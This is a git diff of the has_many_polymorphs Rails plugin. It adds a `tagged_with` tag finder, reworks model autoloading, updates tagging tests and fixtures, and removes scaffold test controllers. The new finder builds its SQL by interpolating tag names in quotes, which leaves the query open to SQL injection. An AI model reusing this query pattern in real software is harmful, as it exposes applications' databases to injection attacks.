+++ b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging.rb
@@ -10,7 +10,7 @@ class Tagging < ActiveRecord::Base
# acts_as_list :scope => :taggable
# This callback makes sure that an orphaned Tag is deleted if it no longer tags anything.
- def before_destroy
- <%= parent_association_name -%>.destroy_without_callbacks if <%= parent_association_name -%> and <%= parent_association_name -%>.taggings.count == 1
+ def after_destroy
+ <%= parent_association_name -%>.destroy_without_callbacks if <%= parent_association_name -%> and <%= parent_association_name -%>.taggings.count == 0
end
end
diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_extensions.rb b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_extensions.rb
index 2cc3ddaa..280aa3ce 100644
--- a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_extensions.rb
+++ b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_extensions.rb
@@ -99,8 +99,61 @@ class ActiveRecord::Base #:nodoc:
end
end
+
+ module TaggingFinders
+ # Find all the objects tagged with the supplied list of tags
+ #
+ # Usage : Model.tagged_with("ruby")
+ # Model.tagged_with("hello", "world")
+ # Model.tagged_with("hello", "world", :limit => 10)
+ #
+ # XXX This query strategy is not performant, and needs to be rewritten as an inverted join or a series of unions
+ #
+ def tagged_with(*tag_list)
+ options = tag_list.last.is_a?(Hash) ? tag_list.pop : {}
+ tag_list = parse_tags(tag_list)
+
+ scope = scope(:find)
+ options[:select] ||= "#{table_name}.*"
+ options[:from] ||= "#{table_name}, tags, taggings"
+
+ sql = "SELECT #{(scope && scope[:select]) || options[:select]} "
+ sql << "FROM #{(scope && scope[:from]) || options[:from]} "
+
+ add_joins!(sql, options, scope)
+
+ sql << "WHERE #{table_name}.#{primary_key} = taggings.taggable_id "
+ sql << "AND taggings.taggable_type = '#{ActiveRecord::Base.send(:class_name_of_active_record_descendant, self).to_s}' "
+ sql << "AND taggings.tag_id = tags.id "
+
+ tag_list_condition = tag_list.map {|name| "'#{name}'"}.join(", ")
+
+ sql << "AND (tags.name IN (#{sanitize_sql(tag_list_condition)})) "
+ sql << "AND #{sanitize_sql(options[:conditions])} " if options[:conditions]
+
+ columns = column_names.map do |column|
+ "#{table_name}.#{column}"
+ end.join(", ")
+
+ sql << "GROUP BY #{columns} "
+ sql << "HAVING COUNT(taggings.tag_id) = #{tag_list.size}"
+
+ add_order!(sql, options[:order], scope)
+ add_limit!(sql, options, scope)
+ add_lock!(sql, options, scope)
+
+ find_by_sql(sql)
+ end
+
+ def parse_tags(tags)
+ return [] if tags.blank?
+ tags = Array(tags).first
+ tags = tags.respond_to?(:flatten) ? tags.flatten : tags.split(Tag::DELIMITER)
+ tags.map { |tag| tag.strip.squeeze(" ") }.flatten.compact.map(&:downcase).uniq
+ end
+
+ end
include TaggingExtensions
-
+ extend TaggingFinders
end
-
diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_test.rb b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_test.rb
index 5740666e..f055d381 100644
--- a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_test.rb
+++ b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_test.rb
@@ -1,13 +1,21 @@
require File.dirname(__FILE__) + '/../test_helper'
class TaggingTest < Test::Unit::TestCase
- fixtures :taggings, :tags, <%= taggable_models[0..1].join(", ") -%>
+ fixtures :tags, :taggings, <%= taggable_models[0..1].join(", ") -%>
def setup
- @obj1 = <%= model_two %>.find(1)
- @obj2 = <%= model_two %>.find(2)
+ @objs = <%= model_two %>.find(:all, :limit => 2)
+
+ @obj1 = @objs[0]
+ @obj1.tag_with("pale")
+ @obj1.reload
+
+ @obj2 = @objs[1]
+ @obj2.tag_with("pale imperial")
+ @obj2.reload
+
<% if taggable_models.size > 1 -%>
- @obj3 = <%= model_one -%>.find(1)
+ @obj3 = <%= model_one -%>.find(:first)
<% end -%>
@tag1 = Tag.find(1)
@tag2 = Tag.find(2)
@@ -15,8 +23,23 @@ class TaggingTest < Test::Unit::TestCase
end
def test_tag_with
- @obj2.tag_with "dark columbian"
- assert_equal "columbian dark", @obj2.tag_list
+ @obj2.tag_with "hoppy pilsner"
+ assert_equal "hoppy pilsner", @obj2.tag_list
+ end
+
+ def test_find_tagged_with
+ @obj1.tag_with "seasonal lager ipa"
+ @obj2.tag_with ["lager", "stout", "fruity", "seasonal"]
+
+ result1 = [@obj1]
+ assert_equal <%= model_two %>.tagged_with("ipa"), result1
+ assert_equal <%= model_two %>.tagged_with("ipa lager"), result1
+ assert_equal <%= model_two %>.tagged_with("ipa", "lager"), result1
+
+ result2 = [@obj1.id, @obj2.id].sort
+ assert_equal <%= model_two %>.tagged_with("seasonal").map(&:id).sort, result2
+ assert_equal <%= model_two %>.tagged_with("seasonal lager").map(&:id).sort, result2
+ assert_equal <%= model_two %>.tagged_with("seasonal", "lager").map(&:id).sort, result2
end
<% if options[:self_referential] -%>
@@ -31,10 +54,10 @@ class TaggingTest < Test::Unit::TestCase
@obj1._add_tags "porter longneck"
assert Tag.find_by_name("porter").taggables.include?(@obj1)
assert Tag.find_by_name("longneck").taggables.include?(@obj1)
- assert_equal "delicious longneck porter", @obj1.tag_list
+ assert_equal "longneck pale porter", @obj1.tag_list
@obj1._add_tags [2]
- assert_equal "delicious longneck porter sexy", @obj1.tag_list
+ assert_equal "imperial longneck pale porter", @obj1.tag_list
end
def test__remove_tags
@@ -43,7 +66,7 @@ class TaggingTest < Test::Unit::TestCase
end
def test_tag_list
- assert_equal "delicious sexy", @obj2.tag_list
+ assert_equal "imperial pale", @obj2.tag_list
end
def test_taggable
diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tags.yml b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tags.yml
index 3bf1078d..517a8ce5 100644
--- a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tags.yml
+++ b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tags.yml
@@ -1,7 +1,7 @@
---
tags_001:
- name: delicious
+ name: pale
id: "1"
tags_002:
- name: sexy
+ name: imperial
id: "2"
diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs.rb
index 2df17d79..82c79668 100644
--- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs.rb
+++ b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs.rb
@@ -21,7 +21,6 @@ end
if defined? Rails and RAILS_ENV and RAILS_ROOT
_logger_warn "rails environment detected"
require 'has_many_polymorphs/configuration'
- require 'has_many_polymorphs/dependencies'
require 'has_many_polymorphs/autoload'
end
diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/autoload.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/autoload.rb
index ccee4cd8..482cf3fc 100644
--- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/autoload.rb
+++ b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/autoload.rb
@@ -1,7 +1,8 @@
-require 'initializer' unless defined? Rails::Initializer
+require 'initializer' unless defined? ::Rails::Initializer
+require 'dispatcher' unless defined? ::ActionController::Dispatcher
-class Rails::Initializer #:nodoc:
+module HasManyPolymorphs
=begin rdoc
Searches for models that use has_many_polymorphs or acts_as_double_polymorphic_join and makes sure that they get loaded during app initialization. This ensures that helper methods are injected into the target classes.
@@ -11,52 +12,59 @@ Note that you can override DEFAULT_OPTIONS via Rails::Configuration#has_many_pol
# your other configuration here
config.after_initialize do
- config.has_many_polymorphs_options['requirements'] << '/lib/my_extension'
+ config.has_many_polymorphs_options['requirements'] << 'lib/my_extension'
end
end
=end
- module HasManyPolymorphsAutoload
-
- DEFAULT_OPTIONS = {
- :file_pattern => "#{RAILS_ROOT}/app/models/**/*.rb",
- :file_exclusions => ['svn', 'CVS', 'bzr'],
- :methods => ['has_many_polymorphs', 'acts_as_double_polymorphic_join'],
- :requirements => []}
-
- mattr_accessor :options
- @@options = HashWithIndifferentAccess.new(DEFAULT_OPTIONS)
+ DEFAULT_OPTIONS = {
+ :file_pattern => "#{RAILS_ROOT}/app/models/**/*.rb",
+ :file_exclusions => ['svn', 'CVS', 'bzr'],
+ :methods => ['has_many_polymorphs', 'acts_as_double_polymorphic_join'],
+ :requirements => []}
+
+ mattr_accessor :options
+ @@options = HashWithIndifferentAccess.new(DEFAULT_OPTIONS)
- # Override for Rails::Initializer#after_initialize.
- def after_initialize_with_autoload
- after_initialize_without_autoload
+ # Dispatcher callback to load polymorphic relationships from the top down.
+ def self.autoload
- _logger_debug "autoload hook invoked"
-
- HasManyPolymorphsAutoload.options[:requirements].each do |requirement|
- require requirement
- end
+ _logger_debug "autoload hook invoked"
- Dir[HasManyPolymorphsAutoload.options[:file_pattern]].each do |filename|
- next if filename =~ /#{HasManyPolymorphsAutoload.options[:file_exclusions].join("|")}/
- open filename do |file|
- if file.grep(/#{HasManyPolymorphsAutoload.options[:methods].join("|")}/).any?
- begin
- model = File.basename(filename)[0..-4].camelize
- _logger_warn "preloading parent model #{model}"
- model.constantize
- rescue Object => e
- _logger_warn "WARNING; possibly critical error preloading #{model}: #{e.inspect}"
- end
+ options[:requirements].each do |requirement|
+ _logger_warn "forcing requirement load of #{requirement}"
+ require requirement
+ end
+
+ Dir[options[:file_pattern]].each do |filename|
+ next if filename =~ /#{options[:file_exclusions].join("|")}/
+ open filename do |file|
+ if file.grep(/#{options[:methods].join("|")}/).any?
+ begin
+ model = File.basename(filename)[0..-4].camelize
+ _logger_warn "preloading parent model #{model}"
+ model.constantize
+ rescue Object => e
+ _logger_warn "#{model} could not be preloaded: #{e.inspect}"
end
end
end
- end
+ end
+ end
- end
-
- include HasManyPolymorphsAutoload
-
- alias_method_chain :after_initialize, :autoload
+end
+
+class Rails::Initializer #:nodoc:
+ # Make sure it gets loaded in the console, tests, and migrations
+ def after_initialize_with_autoload
+ after_initialize_without_autoload
+ HasManyPolymorphs.autoload
+ end
+ alias_method_chain :after_initialize, :autoload
+end
+
+Dispatcher.to_prepare(:has_many_polymorphs_autoload) do
+ # Make sure it gets loaded in the app
+ HasManyPolymorphs.autoload
end
diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/class_methods.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/class_methods.rb
index a830f63c..86c7be90 100644
--- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/class_methods.rb
+++ b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/class_methods.rb
@@ -340,11 +340,7 @@ Be aware, however, that NULL != 'Spot' returns false due to SQ
options[:parent_extend] = spiked_create_extension_module(association_id, Array(options[:parent_extend]), "Parent")
# create the reflection object
- returning(create_reflection(:has_many_polymorphs, association_id, options, self)) do |reflection|
- if defined? Dependencies and defined? RAILS_ENV and RAILS_ENV == "development"
- inject_dependencies(association_id, reflection) if Dependencies.mechanism == :load
- end
-
+ returning(create_reflection(:has_many_polymorphs, association_id, options, self)) do |reflection|
# set up the other related associations
create_join_association(association_id, reflection)
create_has_many_through_associations_for_parent_to_children(association_id, reflection)
@@ -381,16 +377,7 @@ Be aware, however, that NULL != 'Spot' returns false due to SQ
"#{table} AS #{_alias}"
end.sort).join(", ")
end
-
- # model caching
- def inject_dependencies(association_id, reflection)
- _logger_debug "injecting dependencies"
- requirements = [self, reflection.klass].map{|klass| [klass, klass.base_class]}.flatten.uniq
- (all_classes_for(association_id, reflection) - requirements).each do |target_klass|
- Dependencies.inject_dependency(target_klass, *requirements)
- end
- end
-
+
# method sub-builders
def create_join_association(association_id, reflection)
diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/configuration.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/configuration.rb
index 0059a3e6..9de21617 100644
--- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/configuration.rb
+++ b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/configuration.rb
@@ -3,15 +3,17 @@
Access the has_many_polymorphs_options hash in your Rails::Initializer.run#after_initialize block if you need to modify the behavior of Rails::Initializer::HasManyPolymorphsAutoload.
=end
-class Rails::Configuration
+module Rails #:nodoc:
+ class Configuration
- def has_many_polymorphs_options
- Rails::Initializer::HasManyPolymorphsAutoload.options
- end
-
- def has_many_polymorphs_options=(hash)
- Rails::Initializer::HasManyPolymorphsAutoload.options = hash
- end
-
+ def has_many_polymorphs_options
+ ::HasManyPolymorphs.options
+ end
+
+ def has_many_polymorphs_options=(hash)
+ ::HasManyPolymorphs.options = HashWithIndifferentAccess.new(hash)
+ end
+
+ end
end
diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/dependencies.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/dependencies.rb
deleted file mode 100644
index 6242d954..00000000
--- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/dependencies.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-
-=begin rdoc
-Adds a minimal dependency injection framework so that owners of polymorphic relationships reload after their children, reinjecting the child helper methods.
-
-Overrides Dependencies#new_constants_in.
-=end
-
-module Dependencies
-
- mattr_accessor :injection_graph
- self.injection_graph = Hash.new([])
-
- # Add a dependency for this target.
- def inject_dependency(target, *requirements)
- target, requirements = target.to_s, requirements.map(&:to_s)
- injection_graph[target] = ((injection_graph[target] + requirements).uniq - [target])
- requirements.each {|requirement| mark_for_unload requirement }
- _logger_debug "injection graph: #{injection_graph.inspect}" if Dependencies.log_activity
- end
-
- # Make sure any dependent constants of the constants added by yield are reloaded.
- def new_constants_in_with_injection(*descs, &block) # chain
-
- if Dependencies.log_activity
- _logger_debug "autoloaded constants: #{autoloaded_constants.inspect}"
- _logger_debug "explicitly unloadable constants: #{explicitly_unloadable_constants.inspect}"
- end
-
- returning(new_constants_in_without_injection(*descs, &block)) do |found|
- _logger_debug "new constants: #{found.inspect}" if Dependencies.log_activity and found.any?
- found.each do |constant|
- injection_graph[constant].each do |requirement|
- requirement.constantize
- _logger_debug "constantized #{requirement}" if Dependencies.log_activity
- end
- end
- end
- end
- alias_method_chain :new_constants_in, :injection
-
-end
diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/rake_task_redefine_task.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/rake_task_redefine_task.rb
index 99653f84..217d2590 100644
--- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/rake_task_redefine_task.rb
+++ b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/rake_task_redefine_task.rb
@@ -24,4 +24,12 @@ module Rake
end
end
end
-end
\ No newline at end of file
+end
+
+class Object
+ def silently
+ stderr, stdout, $stderr, $stdout = $stderr, $stdout, StringIO.new, StringIO.new
+ yield
+ $stderr, $stdout = stderr, stdout
+ end
+end
diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/reflection.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/reflection.rb
index 3a8d5373..67c69d5a 100644
--- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/reflection.rb
+++ b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/reflection.rb
@@ -2,18 +2,19 @@ module ActiveRecord #:nodoc:
module Reflection #:nodoc:
module ClassMethods #:nodoc:
-
- # Update the default reflection switch so that :has_many_polymorphs types get instantiated. It's not a composed method so we have to override the whole thing.
+
+ # Update the default reflection switch so that :has_many_polymorphs types get instantiated.
+ # It's not a composed method so we have to override the whole thing.
def create_reflection(macro, name, options, active_record)
case macro
when :has_many, :belongs_to, :has_one, :has_and_belongs_to_many
- reflection = AssociationReflection.new(macro, name, options, active_record)
+ klass = options[:through] ? ThroughReflection : AssociationReflection
+ reflection = klass.new(macro, name, options, active_record)
when :composed_of
reflection = AggregateReflection.new(macro, name, options, active_record)
- # added by has_many_polymorphs #
+ # added by has_many_polymorphs #
when :has_many_polymorphs
reflection = PolymorphicReflection.new(macro, name, options, active_record)
- # end added #
end
write_inheritable_hash :reflections, name => reflection
reflection
diff --git a/vendor/plugins/has_many_polymorphs/test/generator/tagging_generator_test.rb b/vendor/plugins/has_many_polymorphs/test/generator/tagging_generator_test.rb
new file mode 100644
index 00000000..34e20c4f
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/generator/tagging_generator_test.rb
@@ -0,0 +1,42 @@
+require 'fileutils'
+require File.dirname(__FILE__) + '/../test_helper'
+
+class TaggingGeneratorTest < Test::Unit::TestCase
+
+ def setup
+ Dir.chdir RAILS_ROOT do
+ truncate
+
+ # Revert environment lib requires
+ FileUtils.cp "config/environment.rb.canonical", "config/environment.rb"
+
+ # Delete generator output
+ ["app/models/tag.rb", "app/models/tagging.rb",
+ "test/unit/tag_test.rb", "test/unit/tagging_test.rb",
+ "test/fixtures/tags.yml", "test/fixtures/taggings.yml",
+ "lib/tagging_extensions.rb",
+ "db/migrate/010_create_tags_and_taggings.rb"].each do |file|
+ File.delete file if File.exist? file
+ end
+
+ # Rebuild database
+ Echoe.silence do
+ system("ruby #{HERE}/setup.rb")
+ end
+ end
+ end
+
+ alias :teardown :setup
+
+ def test_generator
+ Dir.chdir RAILS_ROOT do
+ Echoe.silence do
+ assert system("script/generate tagging Stick Stone -q -f")
+ assert system("rake db:migrate")
+ assert system("rake db:fixtures:load")
+ assert system("rake test:units")
+ end
+ end
+ end
+
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/addresses_controller.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/addresses_controller.rb
deleted file mode 100644
index 6b3c86c2..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/addresses_controller.rb
+++ /dev/null
@@ -1,85 +0,0 @@
-class AddressesController < ApplicationController
- # GET /addresses
- # GET /addresses.xml
- def index
- @addresses = Address.find(:all)
-
- respond_to do |format|
- format.html # index.html.erb
- format.xml { render :xml => @addresses }
- end
- end
-
- # GET /addresses/1
- # GET /addresses/1.xml
- def show
- @address = Address.find(params[:id])
-
- respond_to do |format|
- format.html # show.html.erb
- format.xml { render :xml => @address }
- end
- end
-
- # GET /addresses/new
- # GET /addresses/new.xml
- def new
- @address = Address.new
-
- respond_to do |format|
- format.html # new.html.erb
- format.xml { render :xml => @address }
- end
- end
-
- # GET /addresses/1/edit
- def edit
- @address = Address.find(params[:id])
- end
-
- # POST /addresses
- # POST /addresses.xml
- def create
- @address = Address.new(params[:address])
-
- respond_to do |format|
- if @address.save
- flash[:notice] = 'Address was successfully created.'
- format.html { redirect_to(@address) }
- format.xml { render :xml => @address, :status => :created, :location => @address }
- else
- format.html { render :action => "new" }
- format.xml { render :xml => @address.errors, :status => :unprocessable_entity }
- end
- end
- end
-
- # PUT /addresses/1
- # PUT /addresses/1.xml
- def update
- @address = Address.find(params[:id])
-
- respond_to do |format|
- if @address.update_attributes(params[:address])
- flash[:notice] = 'Address was successfully updated.'
- format.html { redirect_to(@address) }
- format.xml { head :ok }
- else
- format.html { render :action => "edit" }
- format.xml { render :xml => @address.errors, :status => :unprocessable_entity }
- end
- end
- end
-
- # DELETE /addresses/1
- # DELETE /addresses/1.xml
- def destroy
- @address = Address.find(params[:id])
- @address.destroy
-
- respond_to do |format|
- format.html { redirect_to(addresses_url) }
- format.xml { head :ok }
- end
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/bones_controller.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/bones_controller.rb
new file mode 100644
index 00000000..29bfe0c0
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/bones_controller.rb
@@ -0,0 +1,5 @@
+class BonesController < ApplicationController
+ def index
+ @bones = Bone.find(:all)
+ end
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/sellers_controller.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/sellers_controller.rb
deleted file mode 100644
index f776aabd..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/sellers_controller.rb
+++ /dev/null
@@ -1,85 +0,0 @@
-class SellersController < ApplicationController
- # GET /sellers
- # GET /sellers.xml
- def index
- @sellers = Seller.find(:all)
-
- respond_to do |format|
- format.html # index.html.erb
- format.xml { render :xml => @sellers }
- end
- end
-
- # GET /sellers/1
- # GET /sellers/1.xml
- def show
- @seller = Seller.find(params[:id])
-
- respond_to do |format|
- format.html # show.html.erb
- format.xml { render :xml => @seller }
- end
- end
-
- # GET /sellers/new
- # GET /sellers/new.xml
- def new
- @seller = Seller.new
-
- respond_to do |format|
- format.html # new.html.erb
- format.xml { render :xml => @seller }
- end
- end
-
- # GET /sellers/1/edit
- def edit
- @seller = Seller.find(params[:id])
- end
-
- # POST /sellers
- # POST /sellers.xml
- def create
- @seller = Seller.new(params[:seller])
-
- respond_to do |format|
- if @seller.save
- flash[:notice] = 'Seller was successfully created.'
- format.html { redirect_to(@seller) }
- format.xml { render :xml => @seller, :status => :created, :location => @seller }
- else
- format.html { render :action => "new" }
- format.xml { render :xml => @seller.errors, :status => :unprocessable_entity }
- end
- end
- end
-
- # PUT /sellers/1
- # PUT /sellers/1.xml
- def update
- @seller = Seller.find(params[:id])
-
- respond_to do |format|
- if @seller.update_attributes(params[:seller])
- flash[:notice] = 'Seller was successfully updated.'
- format.html { redirect_to(@seller) }
- format.xml { head :ok }
- else
- format.html { render :action => "edit" }
- format.xml { render :xml => @seller.errors, :status => :unprocessable_entity }
- end
- end
- end
-
- # DELETE /sellers/1
- # DELETE /sellers/1.xml
- def destroy
- @seller = Seller.find(params[:id])
- @seller.destroy
-
- respond_to do |format|
- format.html { redirect_to(sellers_url) }
- format.xml { head :ok }
- end
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/states_controller.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/states_controller.rb
deleted file mode 100644
index 54fbcba9..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/states_controller.rb
+++ /dev/null
@@ -1,85 +0,0 @@
-class StatesController < ApplicationController
- # GET /states
- # GET /states.xml
- def index
- @states = State.find(:all)
-
- respond_to do |format|
- format.html # index.html.erb
- format.xml { render :xml => @states }
- end
- end
-
- # GET /states/1
- # GET /states/1.xml
- def show
- @state = State.find(params[:id])
-
- respond_to do |format|
- format.html # show.html.erb
- format.xml { render :xml => @state }
- end
- end
-
- # GET /states/new
- # GET /states/new.xml
- def new
- @state = State.new
-
- respond_to do |format|
- format.html # new.html.erb
- format.xml { render :xml => @state }
- end
- end
-
- # GET /states/1/edit
- def edit
- @state = State.find(params[:id])
- end
-
- # POST /states
- # POST /states.xml
- def create
- @state = State.new(params[:state])
-
- respond_to do |format|
- if @state.save
- flash[:notice] = 'State was successfully created.'
- format.html { redirect_to(@state) }
- format.xml { render :xml => @state, :status => :created, :location => @state }
- else
- format.html { render :action => "new" }
- format.xml { render :xml => @state.errors, :status => :unprocessable_entity }
- end
- end
- end
-
- # PUT /states/1
- # PUT /states/1.xml
- def update
- @state = State.find(params[:id])
-
- respond_to do |format|
- if @state.update_attributes(params[:state])
- flash[:notice] = 'State was successfully updated.'
- format.html { redirect_to(@state) }
- format.xml { head :ok }
- else
- format.html { render :action => "edit" }
- format.xml { render :xml => @state.errors, :status => :unprocessable_entity }
- end
- end
- end
-
- # DELETE /states/1
- # DELETE /states/1.xml
- def destroy
- @state = State.find(params[:id])
- @state.destroy
-
- respond_to do |format|
- format.html { redirect_to(states_url) }
- format.xml { head :ok }
- end
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/users_controller.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/users_controller.rb
deleted file mode 100644
index c3ea4e0a..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/users_controller.rb
+++ /dev/null
@@ -1,85 +0,0 @@
-class UsersController < ApplicationController
- # GET /users
- # GET /users.xml
- def index
- @users = User.find(:all)
-
- respond_to do |format|
- format.html # index.html.erb
- format.xml { render :xml => @users }
- end
- end
-
- # GET /users/1
- # GET /users/1.xml
- def show
- @user = User.find(params[:id])
-
- respond_to do |format|
- format.html # show.html.erb
- format.xml { render :xml => @user }
- end
- end
-
- # GET /users/new
- # GET /users/new.xml
- def new
- @user = User.new
-
- respond_to do |format|
- format.html # new.html.erb
- format.xml { render :xml => @user }
- end
- end
-
- # GET /users/1/edit
- def edit
- @user = User.find(params[:id])
- end
-
- # POST /users
- # POST /users.xml
- def create
- @user = User.new(params[:user])
-
- respond_to do |format|
- if @user.save
- flash[:notice] = 'User was successfully created.'
- format.html { redirect_to(@user) }
- format.xml { render :xml => @user, :status => :created, :location => @user }
- else
- format.html { render :action => "new" }
- format.xml { render :xml => @user.errors, :status => :unprocessable_entity }
- end
- end
- end
-
- # PUT /users/1
- # PUT /users/1.xml
- def update
- @user = User.find(params[:id])
-
- respond_to do |format|
- if @user.update_attributes(params[:user])
- flash[:notice] = 'User was successfully updated.'
- format.html { redirect_to(@user) }
- format.xml { head :ok }
- else
- format.html { render :action => "edit" }
- format.xml { render :xml => @user.errors, :status => :unprocessable_entity }
- end
- end
- end
-
- # DELETE /users/1
- # DELETE /users/1.xml
- def destroy
- @user = User.find(params[:id])
- @user.destroy
-
- respond_to do |format|
- format.html { redirect_to(users_url) }
- format.xml { head :ok }
- end
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/bones_helper.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/bones_helper.rb
new file mode 100644
index 00000000..c188f669
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/app/helpers/bones_helper.rb
@@ -0,0 +1,2 @@
+module BonesHelper
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/address.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/address.rb
deleted file mode 100644
index cc040d38..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/address.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class Address < ActiveRecord::Base
- belongs_to :user
- belongs_to :state
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/bone.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/bone.rb
new file mode 100644
index 00000000..f9268612
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/bone.rb
@@ -0,0 +1,2 @@
+class Bone < OrganicSubstance
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/citation.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/citation.rb
deleted file mode 100644
index 4f5f6d68..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/citation.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Citation < ActiveRecord::Base
- has_many_polymorphs :items, :from => [:users, :sellers]
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/citations_item.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/citations_item.rb
deleted file mode 100644
index 03525d66..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/citations_item.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class CitationsItem < ActiveRecord::Base
- belongs_to :citation
- belongs_to :item, :polymorphic => true
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/double_sti_parent.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/double_sti_parent.rb
new file mode 100644
index 00000000..5bc344f7
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/double_sti_parent.rb
@@ -0,0 +1,2 @@
+class DoubleStiParent < ActiveRecord::Base
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/double_sti_parent_relationship.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/double_sti_parent_relationship.rb
new file mode 100644
index 00000000..10b6255b
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/double_sti_parent_relationship.rb
@@ -0,0 +1,2 @@
+class DoubleStiParentRelationship < ActiveRecord::Base
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/organic_substance.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/organic_substance.rb
new file mode 100644
index 00000000..e9a080d9
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/organic_substance.rb
@@ -0,0 +1,2 @@
+class OrganicSubstance < ActiveRecord::Base
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/seller.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/seller.rb
deleted file mode 100644
index 654d23d1..00000000
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/seller.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class Seller < ActiveRecord::Base
- belongs_to :user
- delegate :address, :to => :user
-end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/single_sti_parent.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/single_sti_parent.rb
new file mode 100644
index 00000000..5e4410bb
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/app/models/single_sti_parent.rb
@@ -0,0 +1,4 @@
+
+class SingleStiParent < ActiveRecord::Base
+ has_many_polymorphs :the_bones, :from => [:bones], :through => :single_sti_parent_relationship
+end
